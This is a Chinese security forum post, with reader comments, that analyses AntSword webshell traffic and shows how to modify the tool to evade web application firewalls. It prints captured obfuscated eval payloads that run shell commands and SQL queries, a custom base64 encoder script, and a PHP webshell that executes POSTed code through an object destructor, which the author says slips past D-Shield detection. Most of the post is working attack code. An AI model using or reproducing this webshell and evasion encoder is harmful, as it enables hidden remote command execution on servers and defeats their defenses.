如上是执行了一个whoami 或者dir 命令。测试一两个sql语句尝试一下

执行一个select * from users;

POST /11.php HTTP/1.1

Host: 192.168.1.46

Accept-Encoding: gzip, deflate

User-Agent: antSword/v2.0

content-type: multipart/form-data; boundary=--------------------------139948905997171576903450

Content-Length: 2025

Connection: close



----------------------------139948905997171576903450

Content-Disposition: form-data; name="1"



@eval(@str_rot13($_POST[_0xcf8b793cde507]));

----------------------------139948905997171576903450

Content-Disposition: form-data; name="0x21f246b5826a8"



eTLDafsJKo30efdM

----------------------------139948905997171576903450

Content-Disposition: form-data; name="0x2ea0cd32046c2"



U0VMRUNUIGBuYW1lYCBGUk9NIGBhc2Rhc2RzYWJhZmF1aWZoYXVmYXNramZhc25ma2JfZmFkYXNkYWAgT1JERVIgQlkgMSBERVNDIExJTUlUIDAsMjA7

----------------------------139948905997171576903450

Content-Disposition: form-data; name="0x47fad5dc3bf47"



root

----------------------------139948905997171576903450

Content-Disposition: form-data; name="0xe67b19eabec4c"



utf8

----------------------------139948905997171576903450

Content-Disposition: form-data; name="0xea8d6fea5118f"



dvwa

----------------------------139948905997171576903450

Content-Disposition: form-data; name="0xff6a6082f36e4"



localhost

----------------------------139948905997171576903450

Content-Disposition: form-data; name="_0xcf8b793cde507"



@vav_frg("qvfcynl_reebef", "0");@frg_gvzr_yvzvg(0);rpub "93596";$z=trg_zntvp_dhbgrf_tcp();$ufg=$z?fgevcfynfurf($_CBFG["0kss6n6082s36r4"]):$_CBFG["0kss6n6082s36r4"];$hfe=$z?fgevcfynfurf($_CBFG["0k47snq5qp3os47"]):$_CBFG["0k47snq5qp3os47"];$cjq=$z?fgevcfynfurf($_CBFG["0k21s246o5826n8"]):$_CBFG["0k21s246o5826n8"];$qoa=$z?fgevcfynfurf($_CBFG["0krn8q6srn5118s"]):$_CBFG["0krn8q6srn5118s"];$fdy=onfr64_qrpbqr($_CBFG["0k2rn0pq32046p2"]);$G=@zlfdy_pbaarpg($ufg,$hfe,$cjq);@zlfdy_dhrel("FRG ANZRF $_CBFG[0kr67o19rnorp4p]");@zlfdy_fryrpg_qo($qoa, $G);$d=@zlfdy_dhrel($fdy);vs(vf_obby($d)){rpub("Fgnghf | 

".($d?"IUW1MD==":"EzSfp2H=")." | 

");}ryfr{$v=0;juvyr($pby=@zlfdy_srgpu_svryq($d)){rpub($pby->anzr." | ");$v++;}rpub("

");juvyr($ef=@zlfdy_srgpu_ebj($d)){sbe($p=0;$p<$v;$p++){rpub(onfr64_rapbqr(gevz($ef[$p])));rpub(" | ");}rpub("

");}}@zlfdy_pybfr($G);;rpub "04167";qvr();

----------------------------139948905997171576903450--

3.分析流量

首先分析没有加上multipart 的情况。你会发现url 转码之后都是一些如下的函数例如

1=@ini_set("display_errors", "0");@set_time_limit(0);echo "df498";$p=base64_decode($_POST["0xa4bd371dcaee8"]);$s=base64_decode($_POST["0xcb432ab178248"]);$d=dirname($_SERVER["SCRIPT_FILENAME"]);$c=substr($d,0,1)=="/"?"-c \"{$s}\"":"/c \"{$s}\"";$r="{$p} {$c}";function fe($f){$d=explode(",",@ini_get("disable_functions"));if(empty($d)){$d=array();}else{$d=array_map('trim',array_map('strtolower',$d));}return(function_exists($f)&&is_callable($f)&&!in_array($f,$d));};function runcmd($c){$ret=0;if(fe('system')){[url=https://www.t00ls.com/space-uid-5987.html]@system[/url]($c,$ret);}elseif(fe('passthru')){@passthru($c,$ret);}elseif(fe('shell_exec')){print(@shell_exec($c));}elseif(fe('exec')){@exec($c,$o,$ret);print(join("

",$o));}elseif (fe('popen')){$fp=@popen($c,'r');while(!@feof($fp)){print(@fgets($fp, 2048));}@pclose($fp);}else{$ret = 127;}return $ret;};$ret=@runcmd($r." 2>&1");print ($ret!=0)?"ret={$ret}":"";;echo "f740d";die();&0xa4bd371dcaee8=Y21k&0xcb432ab178248=Y2QgL2QgIkM6XFxwaHBTdHVkeVxcUEhQVHV0b3JpYWxcXFdXVyImbW9yZSAxMS5waHAmZWNobyBbU10mY2QmZWNobyBbRV0=

第二个

1=@eVAl(cHr(64).ChR(105).ChR(110).ChR(105).ChR(95).ChR(115).ChR(101).ChR(116).ChR(40).ChR(34).ChR(100).ChR(105).ChR(115).ChR(112).ChR(108).ChR(97).ChR(121).ChR(95).ChR(101).ChR(114).ChR(114).ChR(111).ChR(114).ChR(115).ChR(34).ChR(44).ChR(32).ChR(34).ChR(48).ChR(34).ChR(41).ChR(59).ChR(64).ChR(115).ChR(101).ChR(116).ChR(95).ChR(116).ChR(105).ChR(109).ChR(101).ChR(95).ChR(108).ChR(105).ChR(109).ChR(105).ChR(116).ChR(40).ChR(48).ChR(41).ChR(59).ChR(101).ChR(99).ChR(104).ChR(111).ChR(32).ChR(34).ChR(50).ChR(55).ChR(98).ChR(48).ChR(100).ChR(34).ChR(59).ChR(36).ChR(112).ChR(61).ChR(98).ChR(97).ChR(115).ChR(101).ChR(54).ChR(52).ChR(95).ChR(100).ChR(101).ChR(99).ChR(111).ChR(100).ChR(101).ChR(40).ChR(36).ChR(95).ChR(80).ChR(79).ChR(83).ChR(84).ChR(91).ChR(34).ChR(48).ChR(120).ChR(51).ChR(100).ChR(100).ChR(57).ChR(51).ChR(56).ChR(48).ChR(97).ChR(56).ChR(102).ChR(100).ChR(101).ChR(57).ChR(34).ChR(93).ChR(41).ChR(59).ChR(36).ChR(115).ChR(61).ChR(98).ChR(97).ChR(115).ChR(101).ChR(54).ChR(52).ChR(95).ChR(100).ChR(101).ChR(99).ChR(111).ChR(100).ChR(101).ChR(40).ChR(36).ChR(95).ChR(80).ChR(79).ChR(83).ChR(84).ChR(91).ChR(34).ChR(48).ChR(120).ChR(49).ChR(54).ChR(50).ChR(51).ChR(56).ChR(55).ChR(51).ChR(51).ChR(101).ChR(55).ChR(99).ChR(101).ChR(49).ChR(34).ChR(93).ChR(41).ChR(59).ChR(36).ChR(100).ChR(61).ChR(100).ChR(105).ChR(114).ChR(110).ChR(97).ChR(109).ChR(101).ChR(40).ChR(36).ChR(95).ChR(83).ChR(69).ChR(82).ChR(86).ChR(69).ChR(82).ChR(91).ChR(34).ChR(83).ChR(67).ChR(82).ChR(73).ChR(80).ChR(84).ChR(95).ChR(70).ChR(73).ChR(76).ChR(69).ChR(78).ChR(65).ChR(77).ChR(69).ChR(34).ChR(93).ChR(41).ChR(59).ChR(36).ChR(99).ChR(61).ChR(115).ChR(117).ChR(98).ChR(115).ChR(116).ChR(114).ChR(40).ChR(36).ChR(100).ChR(44).ChR(48).ChR(44).ChR(49).ChR(41).ChR(61).ChR(61).ChR(34).ChR(47).ChR(34).ChR(63).ChR(34).ChR(45).ChR(99).ChR(32).ChR(92).ChR(34).ChR(123).ChR(36).ChR(115).ChR(125).ChR(92).ChR(34).ChR(34).ChR(58).ChR(34).ChR(47).ChR(99).ChR(32).ChR(92).ChR(34).ChR(123).ChR(36).ChR(115).ChR(125).ChR(92).ChR(34).ChR(34).ChR(59).ChR(36).ChR(114).ChR(61).ChR(34).ChR(123).ChR(36).ChR(112).ChR(125).ChR(32).ChR(123).ChR(36).ChR(99).ChR(125).ChR(34).ChR(59).ChR(102).ChR(117).ChR(110).ChR(99).ChR(116).ChR(105).ChR(111).ChR(110).ChR(32).ChR(102).ChR(101).ChR(40).ChR(36).ChR(102).ChR(41).ChR(123).ChR(36).ChR(100).ChR(61).ChR(101).ChR(120).ChR(112).ChR(108).ChR(111).ChR(100).ChR(101).ChR(40).ChR(34).ChR(44).ChR(34).ChR(44).ChR(64).ChR(105).ChR(110).ChR(105).ChR(95).ChR(103).ChR(101).ChR(116).ChR(40).ChR(34).ChR(100).ChR(105).ChR(115).ChR(97).ChR(98).ChR(108).ChR(101).ChR(95).ChR(102).ChR(117).ChR(110).ChR(99).ChR(116).ChR(105).ChR(111).ChR(110).ChR(115).ChR(34).ChR(41).ChR(41).ChR(59).ChR(105).ChR(102).ChR(40).ChR(101).ChR(109).ChR(112).ChR(116).ChR(121).ChR(40).ChR(36).ChR(100).ChR(41).ChR(41).ChR(123).ChR(36).ChR(100).ChR(61).ChR(97).ChR(114).ChR(114).ChR(97).ChR(121).ChR(40).ChR(41).ChR(59).ChR(125).ChR(101).ChR(108).ChR(115).ChR(101).ChR(123).ChR(36).ChR(100).ChR(61).ChR(97).ChR(114).ChR(114).ChR(97).ChR(121).ChR(95).ChR(109).ChR(97).ChR(112).ChR(40).ChR(39).ChR(116).ChR(114).ChR(105).ChR(109).ChR(39).ChR(44).ChR(97).ChR(114).ChR(114).ChR(97).ChR(121).ChR(95).ChR(109).ChR(97).ChR(112).ChR(40).ChR(39).ChR(115).ChR(116).ChR(114).ChR(116).ChR(111).ChR(108).ChR(111).ChR(119).ChR(101).ChR(114).ChR(39).ChR(44).ChR(36).ChR(100).ChR(41).ChR(41).ChR(59).ChR(125).ChR(114).ChR(101).ChR(116).ChR(117).ChR(114).ChR(110).ChR(40).ChR(102).ChR(117).ChR(110).ChR(99).ChR(116).ChR(105).ChR(111).ChR(110).ChR(95).ChR(101).ChR(120).ChR(105).ChR(115).ChR(116).ChR(115).ChR(40).ChR(36).ChR(102).ChR(41).ChR(38).ChR(38).ChR(105).ChR(115).ChR(95).ChR(99).ChR(97).ChR(108).ChR(108).ChR(97).ChR(98).ChR(108).ChR(101).ChR(40).ChR(36).ChR(102).ChR(41).ChR(38).ChR(38).ChR(33).ChR(105).ChR(110).ChR(95).ChR(97).ChR(114).ChR(114).ChR(97).ChR(121).ChR(40).ChR(36).ChR(102).ChR(44).ChR(36).ChR(100).ChR(41).ChR(41).ChR(59).ChR(125).ChR(59).ChR(102).ChR(117).ChR(110).ChR(99).ChR(116).ChR(105).ChR(111).ChR(110).ChR(32).ChR(114).ChR(117).ChR(110).ChR(99).ChR(109).ChR(100).ChR(40).ChR(36).ChR(99).ChR(41).ChR(123).ChR(36).ChR(114).ChR(101).ChR(116).ChR(61).ChR(48).ChR(59).ChR(105).ChR(102).ChR(40).ChR(102).ChR(101).ChR(40).ChR(39).ChR(115).ChR(121).ChR(115).ChR(116).ChR(101).ChR(109).ChR(39).ChR(41).ChR(41).ChR(123).ChR(64).ChR(115).ChR(121).ChR(115).ChR(116).ChR(101).ChR(109).ChR(40).ChR(36).ChR(99).ChR(44).ChR(36).ChR(114).ChR(101).ChR(116).ChR(41).ChR(59).ChR(125).ChR(101).ChR(108).ChR(115).ChR(101).ChR(105).ChR(102).ChR(40).ChR(102).ChR(101).ChR(40).ChR(39).ChR(112).ChR(97).ChR(115).ChR(115).ChR(116).ChR(104).ChR(114).ChR(117).ChR(39).ChR(41).ChR(41).ChR(123).ChR(64).ChR(112).ChR(97).ChR(115).ChR(115).ChR(116).ChR(104).ChR(114).ChR(117).ChR(40).ChR(36).ChR(99).ChR(44).ChR(36).ChR(114).ChR(101).ChR(116).ChR(41).ChR(59).ChR(125).ChR(101).ChR(108).ChR(115).ChR(101).ChR(105).ChR(102).ChR(40).ChR(102).ChR(101).ChR(40).ChR(39).ChR(115).ChR(104).ChR(101).ChR(108).ChR(108).ChR(95).ChR(101).ChR(120).ChR(101).ChR(99).ChR(39).ChR(41).ChR(41).ChR(123).ChR(112).ChR(114).ChR(105).ChR(110).ChR(116).ChR(40).ChR(64).ChR(115).ChR(104).ChR(101).ChR(108).ChR(108).ChR(95).ChR(101).ChR(120).ChR(101).ChR(99).ChR(40).ChR(36).ChR(99).ChR(41).ChR(41).ChR(59).ChR(125).ChR(101).ChR(108).ChR(115).ChR(101).ChR(105).ChR(102).ChR(40).ChR(102).ChR(101).ChR(40).ChR(39).ChR(101).ChR(120).ChR(101).ChR(99).ChR(39).ChR(41).ChR(41).ChR(123).ChR(64).ChR(101).ChR(120).ChR(101).ChR(99).ChR(40).ChR(36).ChR(99).ChR(44).ChR(36).ChR(111).ChR(44).ChR(36).ChR(114).ChR(101).ChR(116).ChR(41).ChR(59).ChR(112).ChR(114).ChR(105).ChR(110).ChR(116).ChR(40).ChR(106).ChR(111).ChR(105).ChR(110).ChR(40).ChR(34).ChR(10).ChR(34).ChR(44).ChR(36).ChR(111).ChR(41).ChR(41).ChR(59).ChR(125).ChR(101).ChR(108).ChR(115).ChR(101).ChR(105).ChR(102).ChR(32).ChR(40).ChR(102).ChR(101).ChR(40).ChR(39).ChR(112).ChR(111).ChR(112).ChR(101).ChR(110).ChR(39).ChR(41).ChR(41).ChR(123).ChR(36).ChR(102).ChR(112).ChR(61).ChR(64).ChR(112).ChR(111).ChR(112).ChR(101).ChR(110).ChR(40).ChR(36).ChR(99).ChR(44).ChR(39).ChR(114).ChR(39).ChR(41).ChR(59).ChR(119).ChR(104).ChR(105).ChR(108).ChR(101).ChR(40).ChR(33).ChR(64).ChR(102).ChR(101).ChR(111).ChR(102).ChR(40).ChR(36).ChR(102).ChR(112).ChR(41).ChR(41).ChR(123).ChR(112).ChR(114).ChR(105).ChR(110).ChR(116).ChR(40).ChR(64).ChR(102).ChR(103).ChR(101).ChR(116).ChR(115).ChR(40).ChR(36).ChR(102).ChR(112).ChR(44).ChR(32).ChR(50).ChR(48).ChR(52).ChR(56).ChR(41).ChR(41).ChR(59).ChR(125).ChR(64).ChR(112).ChR(99).ChR(108).ChR(111).ChR(115).ChR(101).ChR(40).ChR(36).ChR(102).ChR(112).ChR(41).ChR(59).ChR(125).ChR(101).ChR(108).ChR(115).ChR(101).ChR(123).ChR(36).ChR(114).ChR(101).ChR(116).ChR(32).ChR(61).ChR(32).ChR(49).ChR(50).ChR(55).ChR(59).ChR(125).ChR(114).ChR(101).ChR(116).ChR(117).ChR(114).ChR(110).ChR(32).ChR(36).ChR(114).ChR(101).ChR(116).ChR(59).ChR(125).ChR(59).ChR(36).ChR(114).ChR(101).ChR(116).ChR(61).ChR(64).ChR(114).ChR(117).ChR(110).ChR(99).ChR(109).ChR(100).ChR(40).ChR(36).ChR(114).ChR(46).ChR(34).ChR(32).ChR(50).ChR(62).ChR(38).ChR(49).ChR(34).ChR(41).ChR(59).ChR(112).ChR(114).ChR(105).ChR(110).ChR(116).ChR(32).ChR(40).ChR(36).ChR(114).ChR(101).ChR(116).ChR(33).ChR(61).ChR(48).ChR(41).ChR(63).ChR(34).ChR(114).ChR(101).ChR(116).ChR(61).ChR(123).ChR(36).ChR(114).ChR(101).ChR(116).ChR(125).ChR(34).ChR(58).ChR(34).ChR(34).ChR(59).ChR(59).ChR(101).ChR(99).ChR(104).ChR(111).ChR(32).ChR(34).ChR(57).ChR(102).ChR(50).ChR(50).ChR(98).ChR(34).ChR(59).ChR(100).ChR(105).ChR(101).ChR(40).ChR(41).ChR(59));&0x16238733e7ce1=Y2QgL2QgIkM6XFxwaHBTdHVkeVxcUEhQVHV0b3JpYWxcXFdXVyImd2hvYW1pJmVjaG8gW1NdJmNkJmVjaG8gW0Vd&0x3dd9380a8fde9=Y21k

第三个

1=@eval(@str_rot13($_POST[_0xfa5ff30363729]));&0x628d9659da233=Y2QgL2QgIkM6L3BocFN0dWR5L1BIUFR1dG9yaWFsL1dXVyImZGlyJmVjaG8gW1NdJmNkJmVjaG8gW0Vd&0xfdf89ac6d8edc=Y21k&_0xfa5ff30363729=@vav_frg("qvfcynl_reebef", "0");@frg_gvzr_yvzvg(0);rpub "2r4q4";$c=onfr64_qrpbqr($_CBFG["0ksqs89np6q8rqp"]);$f=onfr64_qrpbqr($_CBFG["0k628q9659qn233"]);$q=qveanzr($_FREIRE["FPEVCG_SVYRANZR"]);$p=fhofge($q,0,1)=="/"?"-p \"{$f}\"":"/p \"{$f}\"";$e="{$c} {$p}";shapgvba sr($s){$q=rkcybqr(",",@vav_trg("qvfnoyr_shapgvbaf"));vs(rzcgl($q)){$q=neenl();}ryfr{$q=neenl_znc('gevz',neenl_znc('fgegbybjre',$q));}erghea(shapgvba_rkvfgf($s)&&vf_pnyynoyr($s)&&!va_neenl($s,$q));};shapgvba ehapzq($p){$erg=0;vs(sr('flfgrz')){@flfgrz($p,$erg);}ryfrvs(sr('cnffgueh')){@cnffgueh($p,$erg);}ryfrvs(sr('furyy_rkrp')){cevag(@furyy_rkrp($p));}ryfrvs(sr('rkrp')){@rkrp($p,$b,$erg);cevag(wbva("

",$b));}ryfrvs (sr('cbcra')){$sc=@cbcra($p,'e');juvyr(!@srbs($sc)){cevag(@strgf($sc, 2048));}@cpybfr($sc);}ryfr{$erg = 127;}erghea $erg;};$erg=@ehapzq($e." 2>&1");cevag ($erg!=0)?"erg={$erg}":"";;rpub "91r76";qvr();

一些敏感函数比如@str_rot13 chr(105) @ini_set 这种类型的。常规waf 可以拦截的很死

再看看 multipart 模式下的情况相对默认模式下的情况好多了。但是还有一个共性就是@eval 函数。之类的。也是不能完美的绕过waf 的

看了一下师傅的这篇文章https://xz.aliyun.com/t/4000

测试了一下

代码如下：

/**

 * php::base64编码器

 * Create at: 2019/03/25 15:38:49

 */



'use strict';

module.exports = (pwd, data) => {

  // ##########    请在下方编写你自己的代码   ###################

  // 以下代码为 PHP Base64 样例



  // 生成一个随机变量名

  let num =  Math.floor(Math.random()*15);

  let randomStr = `${Math.random().toString(16).substr(num)}`;

  // 原有的 payload 在 data['_']中

  // 取出来之后，转为 base64 编码并放入 randomID key 下

  let encry= new Buffer(data['_']).toString('base64');

  data['num'] = 15-num;



  // shell 在接收到 payload 后，先处理 pwd 参数下的内容，

  data[pwd] = `${randomStr}`+encry+`${randomStr}`;

  // ##########    请在上方编写你自己的代码   ###################



  // 删除 _ 原有的payload

  delete data['_'];

  // 返回编码器处理后的 payload 数组

  return data;



}

然后执行的流量如下：

POST /11.php HTTP/1.1

Host: 192.168.1.46

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36

content-type: multipart/form-data; boundary=--------------------------026213030820703555518723

Content-Length: 1765

Connection: close



----------------------------026213030820703555518723

Content-Disposition: form-data; name="1"



077ce27QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwgIjAiKTtAc2V0X3RpbWVfbGltaXQoMCk7ZWNobyAiNzQ5NWUiOyRwPWJhc2U2NF9kZWNvZGUoJF9QT1NUWyIweDNmMDYxNzZmM2E2MDciXSk7JHM9YmFzZTY0X2RlY29kZSgkX1BPU1RbIjB4ZTAyNTVmYjYyZDE5MSJdKTskZD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7JGM9c3Vic3RyKCRkLDAsMSk9PSIvIj8iLWMgXCJ7JHN9XCIiOiIvYyBcInskc31cIiI7JHI9InskcH0geyRjfSI7ZnVuY3Rpb24gZmUoJGYpeyRkPWV4cGxvZGUoIiwiLEBpbmlfZ2V0KCJkaXNhYmxlX2Z1bmN0aW9ucyIpKTtpZihlbXB0eSgkZCkpeyRkPWFycmF5KCk7fWVsc2V7JGQ9YXJyYXlfbWFwKCd0cmltJyxhcnJheV9tYXAoJ3N0cnRvbG93ZXInLCRkKSk7fXJldHVybihmdW5jdGlvbl9leGlzdHMoJGYpJiZpc19jYWxsYWJsZSgkZikmJiFpbl9hcnJheSgkZiwkZCkpO307ZnVuY3Rpb24gcnVuY21kKCRjKXskcmV0PTA7aWYoZmUoJ3N5c3RlbScpKXtAc3lzdGVtKCRjLCRyZXQpO31lbHNlaWYoZmUoJ3Bhc3N0aHJ1Jykpe0BwYXNzdGhydSgkYywkcmV0KTt9ZWxzZWlmKGZlKCdzaGVsbF9leGVjJykpe3ByaW50KEBzaGVsbF9leGVjKCRjKSk7fWVsc2VpZihmZSgnZXhlYycpKXtAZXhlYygkYywkbywkcmV0KTtwcmludChqb2luKCIKIiwkbykpO31lbHNlaWYgKGZlKCdwb3BlbicpKXskZnA9QHBvcGVuKCRjLCdyJyk7d2hpbGUoIUBmZW9mKCRmcCkpe3ByaW50KEBmZ2V0cygkZnAsIDIwNDgpKTt9QHBjbG9zZSgkZnApO31lbHNleyRyZXQgPSAxMjc7fXJldHVybiAkcmV0O307JHJldD1AcnVuY21kKCRyLiIgMj4mMSIpO3ByaW50ICgkcmV0IT0wKT8icmV0PXskcmV0fSI6IiI7O2VjaG8gIjA4N2YzIjtkaWUoKTs=077ce27

----------------------------026213030820703555518723

Content-Disposition: form-data; name="0x3f06176f3a607"



Y21k

----------------------------026213030820703555518723

Content-Disposition: form-data; name="0xe0255fb62d191"



Y2QgL2QgIkM6L3BocFN0dWR5L1BIUFR1dG9yaWFsL1dXVyImZGlyJmVjaG8gW1NdJmNkJmVjaG8gW0Vd

----------------------------026213030820703555518723

Content-Disposition: form-data; name="num"



7

----------------------------026213030820703555518723--

这样一个效果之后，就没有任何的一个铭感信息了。然后就是一个木马部分了

<?php

/* 用户操作类 */

class User

{

  public $name = '';

  public $config = null;



  function __destruct(){

    @eval(''.$config."$this->name");

  }

}

// 生成用户

$user = new User;

$num = @$_POST['num'];

// 传递用户信息

$c = \base64_decode((substr(@$_POST['1'],$num,-$num)));

$user->name = ''.$c;

?>

这个马子还可以过D盾。建议可以再嵌套几次。或者eval 那个地方可以拼接一下

蚁剑的连接方式如下：

更改UA 在modules/request.js 中

UA 如下：

const USER_AGENT = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36';

效果如下：

结后语:如果碰到这种流量丢包的waf 也没辙

类别渗透测试

关于作者

宅独青年丶16篇文章381篇回复

评论15次

要评论？请先登录或注册

TOP1

纯洁小白
2019-4-21 17:03

https://www.o2oxy.cn/2166.html搬运来的吗

回复|@ta|踩(0)|顶(2)
15楼

tiantang
2023-9-5 11:44

加载器真是个好东西

回复|@ta|踩(0)|顶(0)
14楼

cc3ini
2023-9-4 11:02

不错试试楼主的方法

回复|@ta|踩(0)|顶(0)
13楼

k0m1sec
2019-4-24 17:04

可以使用get包去发送post的请求，也能够达到流量绕过waf的效果

回复|@ta|踩(0)|顶(0)
12楼

Swater
2019-4-23 11:04

最近很多蚁剑的骚操作呀

回复|@ta|踩(0)|顶(0)
11楼

风之传说
2019-4-22 11:19

改名叫中国神剑可以了，另外抓下包，看看有啥后门啥的没。

回复|@ta|踩(0)|顶(0)
10楼

rootkiter
2019-4-22 09:13

smelond：
前两天遇到防火墙，传上shell，蚁剑一连接，3秒后被拦的死死的，ip直接被封，等会试试用楼主的方法修改一下
回复|@ta
1

试试冰蝎？

回复|@ta|踩(0)|顶(0)
9楼

PcaQzero
2019-4-22 08:55

Xiaoye：
我想问一下各位蚁剑都是用node.js那个版本部署的，我部署时各种错误直接弃坑了
回复|@ta
1

github的加载器啊

回复|@ta|踩(0)|顶(0)
8楼

宅独青年丶
2019-4-21 17:57

SnowyOWL：
大佬，请问蚁剑的特征码是什么？
回复|@ta
1

特征就是上面的一些函数。但是加密之后就没啥特征了。不过这种单向加密解密的。碰到那种直接丢包的waf也是没辙

回复|@ta|踩(0)|顶(0)
7楼

胜意科技
2019-4-21 17:44

如果不是原作者怕要出事啊

回复|@ta|踩(0)|顶(0)
6楼

宅独青年丶
2019-4-21 17:43

纯洁小白：
https://www.o2oxy.cn/2166.html 搬运来的吗
回复|@ta
1

恩。上个月写的。看到论坛这么多关于蚁剑的文章就分享一下了。

回复|@ta|踩(0)|顶(0)
5楼

SnowyOWL
2019-4-21 17:39

大佬，请问蚁剑的特征码是什么？

回复|@ta|踩(0)|顶(0)
4楼

纯洁小白
2019-4-21 17:03

https://www.o2oxy.cn/2166.html 搬运来的吗

回复|@ta|踩(0)|顶(2)
3楼

Xiaoye
2019-4-21 16:04

我想问一下各位蚁剑都是用node.js那个版本部署的，我部署时各种错误直接弃坑了

回复|@ta|踩(0)|顶(0)
2楼

Link-L
2019-4-21 15:56

不错不错试试楼主的骚思路下

回复|@ta|踩(0)|顶(0)
1楼

smelond
2019-4-21 14:49

前两天遇到防火墙，传上shell，蚁剑一连接，3秒后被拦的死死的，ip直接被封，等会试试用楼主的方法修改一下

回复|@ta|踩(0)|顶(0)

蚁剑流量分析到改装蚁剑之waf 绕过

关于作者

评论15次

https://www.o2oxy.cn/2166.html搬运来的吗

加载器真是个好东西

不错 试试楼主的方法

可以使用get包去发送post的请求，也能够达到流量绕过waf的效果

最近很多蚁剑的骚操作呀

改名叫中国神剑可以了，另外抓下包，看看有啥后门啥的没。

前两天 遇到防火墙，传上shell，蚁剑一连接，3秒后被拦的死死的，ip直接被封，等会试试用楼主的方法修改一下

试试冰蝎？

我想问一下 各位蚁剑都是用node.js那个版本部署的，我部署时各种错误直接弃坑了

github的加载器啊

大佬，请问蚁剑的特征码是什么？

特征就是上面的一些函数。但是加密之后就没啥特征了。不过这种单向加密解密的。 碰到那种直接丢包的waf也是没辙

如果不是原作者怕要出事啊

https://www.o2oxy.cn/2166.html 搬运来的吗

恩。上个月写的。看到论坛这么多关于蚁剑的文章就分享一下了。

大佬，请问蚁剑的特征码是什么？

https://www.o2oxy.cn/2166.html 搬运来的吗

我想问一下 各位蚁剑都是用node.js那个版本部署的，我部署时各种错误直接弃坑了

不错不错试试楼主的骚思路下

前两天 遇到防火墙，传上shell，蚁剑一连接，3秒后被拦的死死的，ip直接被封，等会试试用楼主的方法修改一下

热门文章

渗透测试[已重新编辑]AI与基础安全结合的新的攻击面

渗透测试真实学院渗透思路分享

安全资讯XZ Utils 库中发现秘密后门，影响主要的 Linux 发行版

安全资讯号外号外！大家一定来看看！GitHub 骗局诱骗开发人员下载恶意软件

社会工程小世界找联系方式之拓展思路

最新回复

精华推荐

渗透测试从PDO下的注入思路到Git 3000star项目0day

渗透测试T00LS Metasploit系列教程（第二季)

逆向破解微信PC端技术研究(2)-拿下聊天语音

渗透测试渗透某大型菠菜网站

渗透测试CVE-2017-7269的几个技巧及BUG修正

不错试试楼主的方法

前两天遇到防火墙，传上shell，蚁剑一连接，3秒后被拦的死死的，ip直接被封，等会试试用楼主的方法修改一下

我想问一下各位蚁剑都是用node.js那个版本部署的，我部署时各种错误直接弃坑了

特征就是上面的一些函数。但是加密之后就没啥特征了。不过这种单向加密解密的。碰到那种直接丢包的waf也是没辙

我想问一下各位蚁剑都是用node.js那个版本部署的，我部署时各种错误直接弃坑了

前两天遇到防火墙，传上shell，蚁剑一连接，3秒后被拦的死死的，ip直接被封，等会试试用楼主的方法修改一下